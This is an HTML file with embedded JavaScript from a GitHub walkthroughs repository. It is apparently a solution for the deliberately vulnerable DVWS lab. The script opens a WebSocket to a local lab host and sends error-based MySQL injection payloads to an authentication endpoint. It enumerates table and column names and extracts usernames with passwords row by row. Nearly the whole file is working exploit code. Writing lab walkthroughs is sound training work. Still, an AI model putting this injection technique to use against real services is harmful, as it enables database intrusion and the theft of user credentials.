walkthroughs/dvws/error_sql.html at master · mmmds/walkthroughs · GitHub

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<html>
<body>
<script>
document.addEventListener("DOMContentLoaded", function(event) {

	var ws = new WebSocket("ws://dvws.local:8080/authenticate-user");

	function parseResponse(response) {
		var parts = response.data.split("'");
		if (parts.length > 1) {
			return parts[1].slice(0, -1);
		}
		return null;
	}

	function send(msg) {
		var sql = '{"auth_user":"' + btoa(msg) + '=","auth_pass":""}';
		ws.send(sql);
	}

	function selectUsers(count) {
		var limit = 0;

		function prepareQuery() {
			return "' or 1=1 group by concat((select concat(username,' ',password) from users limit " + limit + ",1), floor(rand()*2)) having min(0) -- ";
		}

		ws.onmessage = function(ev) {
			var user = parseResponse(ev);
			if (user) {
				limit++;
				console.log(user);
				if (limit < count) {
					send(prepareQuery());
				}
			} else {
				send(prepareQuery());
			}
		};
		send(prepareQuery());
	}

	function countUsers(callback) {
		var query = "' or 1=1 group by concat((select count(*) from users), floor(rand()*2)) having min(0) -- ";
		ws.onmessage = function(ev) {
			var count = parseResponse(ev);
			if (count) {
				callback(count);
			} else {
				send(query);
			}
		};
		send(query);
	}

	function selectTables(count) {
		var limit = 0;

		function prepareQuery() {
			return "' or 1=1 group by concat((select concat(table_name, ' ', column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' limit " + limit + ",1), floor(rand()*2)) having min(0) -- ";
		}

		ws.onmessage = function(ev) {
			var table = parseResponse(ev);
			if (table) {
				console.log(table);
				limit += 1;
				if (limit < count) {
					send(prepareQuery());
				}
			} else {
				send(prepareQuery());
			}
		};

		send(prepareQuery());
	}

	function countTables(callback) {
		var countQuery = "' or 1=1 group by concat((select count(*) FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'), floor(rand()*2)) having min(0) -- ";
		ws.onmessage = function(ev) {
			var count = parseResponse(ev);
			if (count) {
				callback(count);
			} else {
				send(countQuery);
			}
		};
		send(countQuery);
	}

	ws.onopen = function() {
		countTables(selectTables);
	//	countUsers(selectUsers);
	};

});
</script>
</body>
</html>